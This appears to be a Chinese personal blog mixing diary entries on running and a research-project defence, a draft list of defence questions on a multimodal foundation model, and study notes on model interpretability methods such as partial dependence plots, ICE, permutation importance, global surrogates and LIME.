def load_transformer_tokenizer_and_model(model_name='albert-base-v1', device='cpu', **kwargs):
	tokenizer = load_transformer_tokenizer(model_name=model_name)
	model = load_transformer_model(model_name=model_name, device=device, **kwargs)
	return tokenizer, model

# @return outputs
# outputs.last_hidden_state is of size(n_texts, max_sequence_length, hidden_size)
# outputs.pooler_output is of size(n_texts, hidden_size)
def generate_pretrained_model_outputs(text, tokenizer, model, max_length, do_eval=True):
	if do_eval:
		model.eval()
	inputs = tokenizer(text=text, return_tensors='pt', padding='max_length', truncation=True, max_length=max_length)
	outputs = model(**inputs)
	return outputs

20221230~20221231

  • 岁末,记得跟去年一样是好天气。去年这时候状态特别好,30号31号连跑了两天10km,而且都跑进了42分钟,然鹅今年却废得不行,最近都是断断续续地抽空跑,力不从心,我也有点担心阳康之后大强度训练会不会真的出问题,从19号算起,只能老老实实休整半个月,
  • 项目下周答辩,希望运气好些能过吧,毕竟这么多人出力写了将近一个月,几次晚上开会一开就是6-11点,现在看来wyl确实也不容易,一把年纪跟我们这群年轻人熬,还是可以理解的。
  • 学校里人越来越少,这两天图书馆5B人都不多了,以前很难想象这是考试周的图书馆。自从三门路的门关了之后,天天要从秋阳路绕,差不多要多走500米,就完全不想回去睡午觉,状态搞得特别特别差。
  • 作为今年辞年的尾声毫无疑问是非常遗憾的,当然这一年都特别让人无语,我也不知道这次废掉之后要花多长时间才能重新练回来。今年2月底回校,花了一个3月重新练到巅峰,结果4月5月禁闭,花了6月和7月勉强恢复了六七成,结果7月底又意外中毒,整个8月躺平,9月回来又跟着队里例训,还没捂热状态,国庆后又被隔离了10天,到12月初终于完全恢复到巅峰,刷新了场地万米PB,结果一次发烧又给打回原形,真的是太难太难了。

答辩问题草案:

(一)基于双向编解码的联想注意计算范式相关问题:
1)联想注意的明确、具体的定义?以怎样的明确、具体的理论和逻辑支撑这个联想?为何叫联想注意而不是叫其它比如归纳偏置或归纳记忆注意?与目前主流的多头自注意的关键区别的明确而具体的严密逻辑?
2)所架构的注意计算范式是以怎样的理论、技术、计算的逻辑去实现联想具体什么的联想?又是以怎样的理论、技术、计算的逻辑去实现具体什么的联想注意?
3)双向编解码的具体、明确的理论、技术和计算逻辑?它能为联想注意计算提供具体什么功能和结果?
4)该注意计算范式的原创性体现在具体哪一点或几点?又是以怎样的理论、技术、和计算的逻辑去实现这每一点原创性的?
5)该注意计算范式能提供给多模态泛语义类脑基础模型的构造哪些具体的支撑?
结构灵活性?参数规模?算力消耗?训练样本无需标注或所需标注少?多模态数据(特征?形状?物体?目标?词汇?短语?长句?概念?等)的(具体什么层次的)泛语义统一认知表征?类脑?跨模态、跨语言强泛化学习能力?模型强迁移能力?针对所能提供的每一点具体支撑论证以怎样的具体而明确的理论、技术、与计算的逻辑去实现的;
6)与其它哪些注意计算范式的比较、以怎样具体而明确的评测方式和benchmark去论证创新性和优胜性?
(二)基础模型相关问题:
1)2022年目前著名的transformer基础模型、特别是多模态基础模型有哪几个?各自在哪几个国际上热门公认的打榜数据集排“第一”?列出每个具体的基础模型名称、所属单位、发布的时间、它的架构特点、参数规模、打榜第1的对应的每个具体数据集以及相应的benchmark等具体、明确的信息。最好有对比、有预训练的时间和使用的GPU类型和数量;
2)整理、凝练出我们的基础模型如果要达到国际领先指标,必须在哪几个数据集上打榜、与各自数据集上的哪个具体模型竞赛、该数据集的benchmark、以及我们模型需要的参数规模?
3)我们构造的多模态泛语义类脑基础模型的“泛语义”是怎样具体、明确的定义的?是以怎样的具体、明确的理论、技术、和计算的逻辑去实现这个统一的、泛语义表征的?其它具体的主流基础模型它们各自的语义表达是具体怎样的?
4)我们构造的多模态泛语义类脑基础模型的“类脑”是怎样的具体、明确的定义的?是以怎样的具体、明确的理论、技术、和计算的逻辑去实现这个类脑的?
5)别的主流著名基础模型尤其多模态基础模型的类脑性逻辑怎么样?要给出具体、明确的逻辑、分析和有理有据的论述;
6)别的主流著名基础模型尤其多模态基础模型的语义表达性的理论与计算逻辑怎么样?要给出具体、明确的逻辑、分析和有理有据的论述;
7)我们构造的这个基础模型的“原创性”具体体现在哪里?与哪些基础模型对比?获得这几个原创的理论、技术、证据、和计算的逻辑支撑?
8)我们构造的这个基础模型的“国际领先”将以怎样的具体、明确的技术与计算逻辑去取得?与哪些基础模型对比以及在它们各自的哪些公开数据集上去比赛它们?支撑能肯定或确保获得这个国际领先的理论、技术、证据、和计算的逻辑?
9)我们构造的多模态泛语义类脑基础模型的是以怎样的具体、明确的理论、技术、和计算的逻辑去实现增强语义记忆能力的?与哪些基础模型对比什么样的记忆能力?
10)我们构造的多模态泛语义类脑基础模型的是以怎样的具体、明确的理论、技术、和计算的逻辑去实现模型的跨模态跨语言的“强”迁移能力的?与哪些基础模型对比什么样的迁移能力?
11)我们构造的多模态泛语义类脑基础模型的是以怎样的具体、明确的理论、技术、和计算的逻辑去实现模型结构的灵活性的?与哪些基础模型对比什么样的灵活性?具体怎样才是结构灵活?逻辑?
12)我们构造的多模态泛语义类脑基础模型的是以怎样的具体、明确的理论、技术、和计算的逻辑去实现模型的低算力资源消耗的?具体如何评估这个?与哪些基础模型对比什么具体的、什么规模参数的算力消耗?怎样才是高和低?
(三)多模态数据融合下的自监督和弱监督表示学习技术相关问题
(3.1)基于语义替换预测的自监督表示学习方法
1)目前主流的基础模型自监督表示学习有哪几种?它们各自的具体缺陷以及产生这些缺陷的理论和技术逻辑?
2)什么是基于模态混合?
3)语义替换预测中的语义其明确而具体的指向以及逻辑?语义替换预测是以怎样的具体、明确的理论与计算逻辑实现的?
4)基于语义替换预测的自监督能为多模态基础模型提供具体什么样的表示?技术与计算的逻辑?能为多模态基础模型提供具体什么样的学习、训练特性?相应的技术与计算逻辑?
5)语义替换预测能为自监督的表示提供哪些具体而明确的支撑?选择它的理由逻辑?能为自监督的学习训练提供哪些具体而明确的支撑?与目前主流的哪些具体的自监督表示学习比较优胜的严密理论、技术和计算逻辑?
6)基于语义替换预测的自监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现具体哪些方面数据增强的?又是分别以怎样的理论、技术与计算的逻辑去从这些数据增强层面实现提升模型的学习能力、训练效果的?与目前主流其它自监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
7)基于语义替换预测的自监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现具体哪些方面模型结构增强的?又是以分别怎样的理论、技术与计算的逻辑去从这些结构增强层面实现提升模型的学习能力、训练效果的?与目前主流其它自监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
8)基于语义替换预测的自监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现具体哪些方面模型增强的?又是分别以怎样的理论、技术与计算的逻辑去从这些模型增强层面实现提升模型的学习能力、训练效果的?与目前主流其它自监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
9)基于语义替换预测的自监督表示学习是各自以怎样的理论、技术、计算逻辑去实现模型结构的强灵活性的?算力消耗低的?练样本标注代价低的?模型迁移能力强的?
(3.2)基于模态关联度量的弱监督表示学习方法
1)目前主流的基础模型弱监督表示学习有哪几种?它们各自的具体缺陷以及产生这些缺陷的理论和技术逻辑?
2)模态关联度量的具体、明确的定义?实现的理论、技术与计算的逻辑?为何选择它的理论、技术与计算的逻辑?
3)模态关联度量能为弱监督的表示提供哪些具体而明确的支撑?选择它的理由逻辑?能为弱监督的学习训练提供哪些具体而明确的支撑?与目前主流的哪些具体的弱监督表示学习比较优胜的严密理论、技术和计算逻辑?
4)基于模态关联度量的弱监督能为多模态基础模型提供具体什么样的表示?技术与计算的逻辑?能为多模态基础模型提供具体什么样的学习、训练特性?相应的技术与计算逻辑?
5)基于模态关联度量的弱监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现哪些方面的数据增强的?又分别是以怎样的理论、技术与计算的逻辑去实现从这些数据增强层面提升模型的学习能力、训练效果的?与目前主流其它自监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
6)基于模态关联度量的弱监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现具体哪些方面模型结构增强的?又是以分别怎样的理论、技术与计算的逻辑去从这些结构增强层面实现提升模型的学习能力、训练效果的?与目前主流其它自监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
7)基于模态关联度量的弱监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现具体哪些方面模型增强的?又是分别以怎样的理论、技术与计算的逻辑去从这些模型增强层面实现提升模型的学习能力、训练效果的?与目前主流其它弱监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
8)基于模态关联度量的弱监督表示学习是分别以怎样的理论、技术、计算逻辑去实现模型结构的强灵活性的?算力消耗低的?泛化学习强?练样本标注代价低的?模型迁移能力强的?
(3.3)基于语义替换预测的自监督表示学习方法与基于模态关联度量的弱监督表示学习方法在多模态泛语义类脑基础模型的表示、学习、训练中是分别怎样具体、明确的协同工作的?
(3.4)基于多粒度对齐的弱监督表示学习又是与基于语义替换预测的自监督表示学习方法和基于模态关联度量的弱监督表示学习方法在多模态泛语义类脑基础模型的表示、学习、训练中、三者是分别怎样具体、明确的协同工作的?
1)什么是具体的多粒度对齐?它能为多模态泛语义类脑的基础模型提供哪些相较目前主流弱监督表示学习优胜的特性?逻辑?为何需要这两种弱监督表示学习?理论、技术与计算的逻辑?
2)基于多粒度对齐的弱监督能为多模态基础模型提供具体什么样的表示?技术与计算的逻辑?能为多模态基础模型提供具体什么样的学习、训练特性?相应的技术与计算逻辑?
4)基于多粒度对齐的弱监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现哪些方面的数据增强的?又分别是以怎样的理论、技术与计算的逻辑去实现从这些数据增强层面提升模型的学习能力、训练效果的?与目前主流其它自监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
5)基于多粒度对齐的弱监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现具体哪些方面模型结构增强的?又是以分别怎样的理论、技术与计算的逻辑去从这些结构增强层面实现提升模型的学习能力、训练效果的?与目前主流其它自监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
6)基于多粒度对齐的弱监督表示学习是以怎样的具体、明确的理论、技术与计算逻辑去实现具体哪些方面模型增强的?又是分别以怎样的理论、技术与计算的逻辑去从这些模型增强层面实现提升模型的学习能力、训练效果的?与目前主流其它弱监督表示学习的比较能优胜的逻辑以及具体而明确的怎样评测?
7)基于多粒度对齐的弱监督表示学习是分别以怎样的理论、技术、计算逻辑去实现模型结构的强灵活性的?算力消耗低的?泛化学习强?练样本标注代价低的?模型迁移能力强的?
(四)基于提示学习的多场景任务弱监督学习技术相关问题:
1)目前主流的面对多场景任务或下游任务的基础模型的弱监督学习有哪几个?它们的分析比较?
2)基于提示学习的定义?在运用预训练的多模态基础模型于多场景任务时选择基于这个的弱监督学习的理论、技术与计算理由和逻辑?
3)基于提示学习的多场景任务弱监督学习能为多模态泛语义类脑的预训练基础模型在下游任务应用和打榜带来哪些方面具体、明确的性能提升?它们各自的理论、技术与计算的逻辑?
4)基于多粒度对齐的弱监督表示学习是分别以怎样的理论、技术、计算逻辑去实现模型结构的强灵活性的?算力消耗低的?泛化学习强?练样本标注代价低的?模型迁移能力强的?
(五)知识表征及认知架构,实现具有宽认知能力的基础模型相关问题:
1)目前主流的基础模型有哪些具体的知识表征技术?它们的分析?哪些具体的认知架构技术?它们的分析?
2)示例认知理论的定义、理论、技术、与计算的论述与逻辑;
3)选择基于示例的认知架构的理论、技术与计算的理由与逻辑?
4) 运用基于示例的认知架构对基础模型加入知识有哪些具体优胜性以及逻辑?是以怎样的具体、明确的理论、技术、与计算逻辑加入知识的?
5)目前主流的知识图谱的构造方法?它们的分析?
6)多模态知识图谱的创新性?理论和技术的逻辑?
7)基于示例理论与多模态知识图谱能为基础模型实现什么样的明确具体的知识表征的?统一的泛语义表征?那它是以怎样的具体、明确的理论、技术、与计算的逻辑去实现这个表征的?
8)基于示例理论与多模态知识图谱是以怎样的技术、与计算的逻辑去与多模态泛语义类脑的基础模型进行融合打通的?并且,能为基础模型提供哪些方面具体、明确的它原来不足或没有或较弱或更强更全面的支撑?技术与计算逻辑?
9)基于示例理论与多模态知识图谱又是以怎样的技术、与计算的逻辑去与多模态泛语义类脑的基础模型进行融合打通、并且,能为基础模型提供什么样具体的、明确的宽认知能力的?怎样具体的评测这种宽?具体何如比较?
(六)基于认知架构的基础模型可解释性,大幅提高基础模型可信性问题:
1)目前主流的基础模型的可解释性技术具体有哪几种?它们的对比、分析、与具体的测评手段等;
2)目前基础模型可解释性的可信性是具体怎样计算、评测的?数据集?benchmark?显著性检验的具体、明确的测评方案、计算方法?
3)我们所架构的基础模型可解释性是基于哪种认知架构?选择它的理论、技术、与计算逻辑?
4)基于示例认知理论与多模态知识图谱是以怎样的具体、明确的理论、技术、与计算的逻辑为基础模型加入了什么样的具体、明确的知识的?
5)通过加入上述知识,基于示例认知理论与多模态知识图谱是以怎样的具体、明确的理论、技术、与计算的逻辑去实现可解释性的多模态泛语义类脑基础模型的?
6)基于上述基于认知架构的基础模型可解释性,是以怎样的具体、明确的理论、技术、与计算的逻辑去实现把可解释性的多模态泛语义类脑基础模型的可信性“提升”20%的?它的比较、技术与计算逻辑?
7)如何让确保上述这种20%可信性能通过具体什么样的显著性检验?实现的技术与计算逻辑?
(七)软硬件适配技术,大幅降低算力资源消耗相关问题
1)目前主流的基础模型预训练的训练加速技术具体有哪几种?它们的对比、分析;我们的选择和理由、以及这种选择的技术、计算的逻辑?
2)结合多模态泛语义类脑的大规模基础模型的结构和学习方法,我们是以怎样具体、明确的软硬件技术体系从而能大幅降低算力消耗的支撑高效完成千亿级以上参数规模的大深度模型的训练?怎样才是大幅降低?具体如何测评?逻辑?
3)上述软硬件适配技术又是以怎样的技术、与计算的逻辑在基于国产芯片的智算集群上支撑千节点规模的高效模型和数据混合并行训练的?如何具体测评?
4)这种预训练软硬件适配技术能为预训练的多模态大模型在哪些具体场景任务应用提供哪些具体优胜?技术、与计算的逻辑?
(八)模型压缩工具问题
1)目前主流的模型压缩技术有哪些?它们的对比、分析、与测评方法?
2)我们的模型压缩的选择哪种压缩技术?选择它的具体、明确的理由、技术、与计算的逻辑;
3)运用上述研发的这种压缩加速增效技术工具,是以怎样的理论、技术、与计算的逻辑去实现“压缩得到的小模型能够在同等算力规模条件下性能最优”?具体如何测评?
4)这种压缩加速增效技术是以怎样具体、明确的技术、与计算逻辑能对我们的多模态基础的多场景下游任务应用提供哪些具体方面或层面能力的具体、明确的提升?如何测评?


20230101~20230102

  • 很平淡的元旦跨年,我本来也有想是不是要出去逛一逛,然而眼下环境使然,一些人也都是刚刚病愈,需要休息,而且手头事情也紧,早做晚做都得做,还不如早点把答辩问题给准备好,省得被人push。本来老妈之前一直催我早点回家,现在态度忽然一转,也不管我回不回去了。计划是等到10号之后答辩结束再走,毕竟回去很多事情做起来也不方便。
  • 这两天王炳杰也到5B来取暖,一楼太冷,理所当然跟老王吃了两天饭。我一直很好奇老王跟他对象到底怎么回事,其实上个月我几次在图书馆碰到他时就想问。但又考虑到老王是那种不苟言辞,行为举止又非常礼貌,谈吐风格低沉清晰,就像我理想中的那种君子一般,所以有点不好意思去主动问,但我总觉得既然老王留校,他对象不至于就落下他不管自己回石家庄吧… 算了,做人还是别太八卦…
  • 最近天气不是很好,所以只是晚上离校前慢跑5-10圈在过渡。我现在已经完全康复,不咳嗽无痰无鼻涕,每天十二点前睡,自我感觉状态已经完全恢复,等一个晴天即可正式开启冬训。今年大概率赛事都会正常举办,如果顺利的话,锡马会在3月举办,届时去年我的中签名额会顺延,应该是可以直通的。当然我最希望的还是能回扬州跑扬马,可惜暂时还没有确切消息。

可解释性技术方法总结:这里有一本很好的ebook,毕竟一篇一篇paper的看比较费事,而且很多都是更偏于统计那块的,不是很能搞得明白。

  1. Partial Dependency Plots

https://projecteuclid.org/download/pdf_1/euclid.aos/1013203451

对所有输入特征进行解释是很困难的(高维数据可视化也很难),所以大多数时候会考虑只对一部分输入特征进行解释。

z l {\bf z}_l zl是模型输入特征 x \bf x x的一个长度为 l l l的子集:
z l = { z 1 , . . . , z l } ⊂ { x 1 , . . . , x n } = x (1) {\bf z}_l=\{z_1,...,z_l\}\subset\{x_1,...,x_n\}={\bf x}\tag{1} zl={z1,...,zl}{x1,...,xn}=x(1)
定义 z \ l {\bf z}_{\backslash l} z\l z l {\bf z}_l zl的补集:
z \ l ∪ z l = x (2) {\bf z}_{\backslash l}\cup{\bf z}_l={\bf x}\tag{2} z\lzl=x(2)
则拟合模型 F ^ ( x ) \widehat F({\bf x}) F (x)可以写作:
F ^ ( x ) = F ^ ( z l , z \ l ) (3) \widehat F({\bf x})=\widehat F({\bf z}_l,{\bf z}_{\backslash l})\tag{3} F (x)=F (zl,z\l)(3)
为了简单考虑,可以固定 z \ l {\bf z}_{\backslash l} z\l,只考虑 z l {\bf z}_l zl对拟合模型的影响:
F ^ z \ l ( z l ) = F ^ ( z l ∣ z \ l ) (4) \widehat F_{{\bf z}_{\backslash l}}({\bf z}_l)=\widehat F({\bf z}_l|{\bf z}_{\backslash l})\tag{4} F z\l(zl)=F (zlz\l)(4)
显然 F ^ z \ l ( z l ) \widehat F_{{\bf z}_{\backslash l}}({\bf z}_l) F z\l(zl)的取值依赖 z \ l {\bf z}_{\backslash l} z\l,但是假定这种依赖性不强(比如作主成分分析,只考虑最重要的几个特征 z l {\bf z}_l zl,则剩下的 z \ l {\bf z}_{\backslash l} z\l自然是不重要的),即可使用 F ^ z \ l ( z l ) \widehat F_{{\bf z}_{\backslash l}}({\bf z}_l) F z\l(zl)来近似拟合模型 F ^ ( x ) \widehat F({\bf x}) F (x),于是均值函数
F ‾ l ( z l ) = E z \ l [ F ^ ( x ) ] = ∫ F ^ ( z l , z \ l ) p \ l ( z \ l ) d z \ l (5) \overline F_l({\bf z}_l)=E_{{\bf z}_{\backslash l}}[\widehat F({\bf x})]=\int\widehat F({\bf z}_l,{\bf z}_{\backslash l})p_{\backslash l}({\bf z}_{\backslash l})\text{d}{\bf z}_{\backslash l}\tag{5} Fl(zl)=Ez\l[F (x)]=F (zl,z\l)p\l(z\l)dz\l(5)
可以近似用于表达拟合模型 F ^ ( x ) \widehat F({\bf x}) F (x)在一个选定输入特征子集 z l {\bf z}_l zl的一个偏依赖(partial dependency),我们称式 ( 5 ) (5) (5)偏依赖函数(partial dependency function),其中 p \ l ( z \ l ) p_{\backslash l}({\bf z}_{\backslash l}) p\l(z\l) z \ l {\bf z}_{\backslash l} z\l的一个边际概率密度:
p \ l ( z \ l ) = ∫ p ( x ) d z l (6) p_{\backslash l}({\bf z}_{\backslash l})=\int p({\bf x})\text{d}{\bf z}_l\tag{6} p\l(z\l)=p(x)dzl(6)
实际操作中,式 ( 5 ) (5) (5)的均值函数可以用训练数据 T = { x 1 , . . . , x N } \mathcal{T}=\{{\bf x}^1,...,{\bf x}^N\} T={x1,...,xN}的平均值来近似:
F ‾ l ( z l ) = 1 N ∑ i = 1 N F ^ ( z l , z \ l i ) (7) \overline F_l({\bf z}_l)=\frac1N\sum_{i=1}^N\widehat F({\bf z}_l,{\bf z}^i_{\backslash l})\tag{7} Fl(zl)=N1i=1NF (zl,z\li)(7)
在一些特殊情况下,可以假定拟合模型 F ^ ( x ) \widehat F({\bf x}) F (x)关于 z l {\bf z}_l zl z \ l {\bf z}_{\backslash l} z\l的关系是加和形式:
F ^ ( x ) = F ^ l ( z l ) + F ^ \ l ( z \ l ) (8) \widehat F({\bf x})=\widehat F_l({\bf z}_l)+\widehat F_{\backslash l}({\bf z}_{\backslash l})\tag{8} F (x)=F l(zl)+F \l(z\l)(8)
或是乘积形式:
F ^ ( x ) = F ^ l ( z l ) ⋅ F ^ \ l ( z \ l ) (9) \widehat F({\bf x})=\widehat F_l({\bf z}_l)\cdot\widehat F_{\backslash l}({\bf z}_{\backslash l})\tag{9} F (x)=F l(zl)F \l(z\l)(9)
这些特殊情况下, F ‾ l ( z l ) \overline F_l({\bf z}_l) Fl(zl)可以完全概括拟合模型 F ^ ( x ) \widehat F({\bf x}) F (x)的性质。存疑

另一种方法来概括拟合模型 F ^ ( x ) \widehat F({\bf x}) F (x)关于 z l {\bf z}_l zl的依赖性,即直接在训练数据上建模 F ^ ( x ) \widehat F({\bf x}) F (x)是关于 z l {\bf z}_l zl的函数:
F ~ l ( z l ) = E x [ F ^ ( x ) ∣ z l ] = ∫ F ^ ( x ) p ( z \ l ∣ z l ) d z \ l (10) \widetilde F_l({\bf z}_l)=E_{\bf x}[\widehat F({\bf x})|{\bf z}_l]=\int\widehat F({\bf x})p({\bf z}_{\backslash l}|{\bf z}_l)\text{d}{\bf z}_{\backslash l}\tag{10} F l(zl)=Ex[F (x)zl]=F (x)p(z\lzl)dz\l(10)
对比式 ( 5 ) (5) (5)与式 ( 10 ) (10) (10),式 ( 10 ) (10) (10)是直接在条件概率密度上进行求积,而不是式 ( 5 ) (5) (5)的边际密度上求积,这是因为 F ~ l ( z l ) \widetilde F_l({\bf z}_l) F l(zl)反映的不仅是拟合模型 F ^ ( x ) \widehat F({\bf x}) F (x)关于选定的变量子集 z l {\bf z}_l zl的依赖性,而且还反映了 z l {\bf z}_l zl z \ l {\bf z}_{\backslash l} z\l之间的关系所推导出的表面依赖性(apprent dependencies)。例如,假定拟合模型 F ^ ( x ) \widehat F({\bf x}) F (x)具有式 ( 8 ) (8) (8)或式 ( 9 ) (9) (9)的形式,则 F ~ l ( z l ) \widetilde F_l({\bf z}_l) F l(zl)将不会是 F ^ l ( z l ) \widehat F_l({\bf z}_l) F l(zl)的形式,除非联合概率密度 p ( x ) p({\bf x}) p(x)恰好具有以下形式:
p ( x ) = p l ( z l ) ⋅ p \ l ( z \ l ) (11) p({\bf x})=p_l({\bf z}_l)\cdot p_{\backslash l}({\bf z}_{\backslash l})\tag{11} p(x)=pl(zl)p\l(z\l)(11)
这是很好理解的,只需要将式 ( 11 ) (11) (11)代到式 ( 10 ) (10) (10),就会发现式 ( 5 ) (5) (5)是式 ( 10 ) (10) (10)的一个因子。大多数情况下,这两式的结果是没有太大关联的。

( 5 ) (5) (5)中的偏依赖函数可以用于来解释任何通过黑盒预测方法生成的模型!!! 比如神经网络,支持向量机,近邻方法等。

尤其是那种基于单变量划分的回归树模型,甚至不需要借助训练数据,给定一棵已经训练好的回归树以及选定的特征子集 z l {\bf z}_l zl,只需要对回归树进行一次加权遍历(weighted traversal):

  • 首先在根节点处,赋权为 1 1 1

  • 对于每一个非叶子节点:

    • 若它的划分特征在 z l {\bf z}_l zl中,则根据 z l {\bf z}_l zl的数值来访问对应的左子女或是右子女,并不改变其权重(即父节点多少权重,对应的子女节点完全继承其权重,另一个的权重当然是 0 0 0);

    • 若它的划分特征在 z \ l {\bf z}_{\backslash l} z\l中,则需要访问两个子女并将权重按照训练过程中往左往右走的比例来划分(相当于在取期望);

  • 到叶子节点处,每个节点都会有一个权重。此时 F ‾ l ( z ) l \overline F_l({\bf z})_l Fl(z)l的值就是对应的 F ^ ( x ) \widehat F({\bf x}) F (x)的加权平均值。

一般来说都会选取 l ≤ 2 l\le 2 l2,关于变量的重要性,一般来说主成分分析是可以的,原文中介绍了一种随机生成函数来衡量变量的相对重要性。下面的图就是偏依赖函数,横轴表示一个特征的变化,纵轴表示拟合模型的输出值关于该特征的变化而发生的变化(取期望)。

  1. Individual Conditional Expectation

arxiv.1309.6392

Individual Conditional Expectation是对Partial dependency plots的一个推广,具体而言

Rather than plot the target covariates’ average partial effect on the predicted response, we instead plot the N N N estimated conditional expectation curves: each reflects the predicted response as a function of covariate x S x_S xS, conditional on an observed x C {\bf x}_C xC.

即ICE是考察一个特征的变化对应每一个样本实例经过拟合模型的输出变化折线,因此会得到许多条折线,而不是对所有样本实例取均值得到一个期望的输出变化折线。

下面这张图说明了这一点,中间这条最粗最亮的线就是均值变化折线,可以发现这条折线几乎是水平的(原因是一半的数据样本的标签与该特征正相关,另一半负相关,因此取均值就是水平线,这种现象叫作PDP隐藏了异质效应,heterogeneous effects might be hidden),因此缺乏参考价值。上下若干条折线,每一条对应一个样本,这更具有参考价值。

  1. Permuted Feature Importance

https://www.jmlr.org/papers/v20/18-760.html

这是一篇偏于统计学的文章,不是很搞得明白。但是我找到了一本电子书讲得很好。

这篇文章的核心是变量重要性(variable importance, VI):

Variable importance (VI) tools describe how much a prediction model’s accuracy depends on the information in each covariate. For example, in Random Forests, VI is measured by the decrease in prediction accuracy when a covariate is permuted. A similar Perturb VI measure has been used for neural networks, where noise is added to covariates.

这里说的其实就是如何衡量模型输入的每个特征的重要性,方法是对协变量(即解释变量,模型输入特征)进行扰动,这与之前所理解的可解释性衡量指标是一致的。

其实到这边为止,这里的可解释性方法大多是针对统计模型、时间序列的数据生成模型的,不过大多也都有提到树模型。

言归正传,通常实践的做法是,将训练数据分为两半,为了检验第 i i i个协变量(即特征)的然后交换两者第 i i i个协变量的值,然后进行重训练,与原数据的训练结果的损失函数进行对比,得到该协变量的重要性。

img

  1. Global surrogate
  • 首先在训练集上训练得到一个黑盒模型;

  • 然后基于训练集和黑盒模型的输出训练一个可解释模型(比如用线性模型、决策树、人类定义的规则等);

  • 显然我们是在用可解释模型来近似黑盒模型,这会带来额外的误差,但是这种误差是可以通过一些指标(如可决系数 R 2 R^2 R2来衡量的):
    R 2 = 1 − S S E S S T = 1 − ∑ i = 1 n ( y ^ ∗ ( i ) − y ^ ( i ) ) 2 ∑ i = 1 n ( y ^ ( i ) − y ^ ˉ ) 2 R^2=1-\frac{SSE}{SST}=1-\frac{\sum_{i=1}^n(\hat y_*^{(i)}-\hat y^{(i)})^2}{\sum_{i=1}^n(\hat y^{(i)}-\bar{\hat y})^2} R2=1SSTSSE=1i=1n(y^(i)y^ˉ)2i=1n(y^(i)y^(i))2

Perform the following steps to obtain a surrogate model:

  1. Select a dataset X \mathcal{X} X. This can be the same dataset that was used for training the black box model or a new dataset from the same distribution. You could even select a subset of the data or a grid of points, depending on your application.
  2. For the selected dataset X \mathcal{X} X, get the predictions of the black box model.
  3. Select an interpretable model type (linear model, decision tree, …).
  4. Train the interpretable model on the dataset X \mathcal{X} X and its predictions.
  5. Congratulations! You now have a surrogate model.
  6. Measure how well the surrogate model replicates the predictions of the black box model.
  7. Interpret the surrogate model.

20230103

  • 晴天来的比预期早了一天,下午上了波强度。外道2圈热身 + 动态热身 + 3000米跑(配速4’11") + 外道3圈冷身 + 400米×2间歇(1’20")。起手状态特别好,以为可以轻松拿捏10000米,心想大不了慢一些。结果6圈之后右胸又开始疼,我也不想太勉强,3000米就停下休息。后来想补个2000米,结果慢跑3圈后左胸也开始疼,但是这么好的天气就这么结束又感觉很亏,索性补了两组400米全力跑,比上周二的时候要好不少,那时候两三圈就喘得不行,今天至少跑完还是挺舒服的。接下来天气都很好,有空下午都要出来好好练,也不指望冬训能练回巅峰,至少大晴天还是别偷懒。
  1. LIME

arxiv.1602.04938

  • LIME的逻辑和Global Surrogate是很像的,LIME可以视为一种Local Surrogate,即只针对局部特征训练一个可解释的模型来进行预测。

  • 本文提出的一个重要观点是,可解释性是要针对目标听众的,很多时候线性模型给出的一个偏回归系数,或是梯度向量,都是不足以解释模型的。需要用一种人类可以理解的形式将可解释性给表达出来。

  • 可解释的数据表示(interpretable data representations):

    • 比如对于文本分类而言,可解释的表示可以是一个二进制向量用于表示文本中每个单词是否对分类结果有帮助,而分类器可能使用了更复杂(不可理解)的特征(比如词嵌入)。
    • 同理对于图像分类,可解释的表示可以是一个二进制向量用于表示图像中一块连续的像素点是否对分类结果有帮助,而分类器可能使用了三通道的张量来表示一个图像。

    这里我们用 x ∈ R d x\in\R^d xRd来表示一个实例的原始表示, x ′ ∈ { 0 , 1 } d ′ x'\in\{0,1\}^{d'} x{0,1}d来表示它的二进制可解释的表示。

  • 接下来我们就要将解释(explanation)给建模成一个模型 g ∈ G g\in G gG,比如可以是一些具有强可解释性的模型(线性模型、决策树等)。显然模型 g g g的定义域是 { 0 , 1 } d ′ \{0,1\}^{d'} {0,1}d,当然很多时候我们希望 g g g的复杂度 Ω ( g ) \Omega(g) Ω(g)不要太高(对于线性模型,可以是非零权重数量;对于决策数,可以是树身),因此最终的解释模型 g g g的损失函数可以定义为:
    ξ ( x ) = arg ⁡ min ⁡ g ∈ G L ( f , g , π x ) + Ω ( g ) (1) \xi(x)=\arg\min_{g\in G}\mathcal{L}(f,g,\pi_x)+\Omega(g)\tag{1} ξ(x)=arggGminL(f,g,πx)+Ω(g)(1)
    其中 f f f是训练好的分类模型( f ( x ) f(x) f(x)输出为实例 x x x属于每一个类别的概率), g g g是设计出来的解释模型, π x ( z ) \pi_x(z) πx(z)是用于计算 z z z x x x的一个近邻衡量(proximity measure),因为我们想要确定 x x x附近的一个邻近范围到底在哪里,比如图像里其实就是在做类似实体边界确定的事情。最后 L ( f , g , π x ) \mathcal{L}(f,g,\pi_x) L(f,g,πx)就是在衡量 g g g相对于 f f f在近邻衡量 π x \pi_x πx的条件下有多么不可信(损失函数当然是越小越好,所以这里就是在最小化这个不可信度)。

    L \mathcal{L} L被称为忠诚度函数(fidelity functions), G G G是解释函数族, Ω \Omega Ω是复杂度衡量指标,这三个是构造高效 g g g的关键所在。

到这里已经比较清晰,LIME做的事情其实很简单,就是把原始输入中的一部分抽取出来,告诉人类我就是靠的这部分来得到预测结果的。比如就图像分类而言,模型为什么将一张图片预测成猫或是狗,当然不需要整个图像,只需要图像中的一部分实体即可。解释模型 g g g执行的就是对实体抽取后的图像的一部分进行分类。

  • 我们不对 f f f做任何假设(即模型不可知,model-agnostic),来最小化式 ( 1 ) (1) (1)中的损失函数。这样我们就必须要设法考察 f f f局部行为(local behavior),这就只能通过采样:

    请添加图片描述

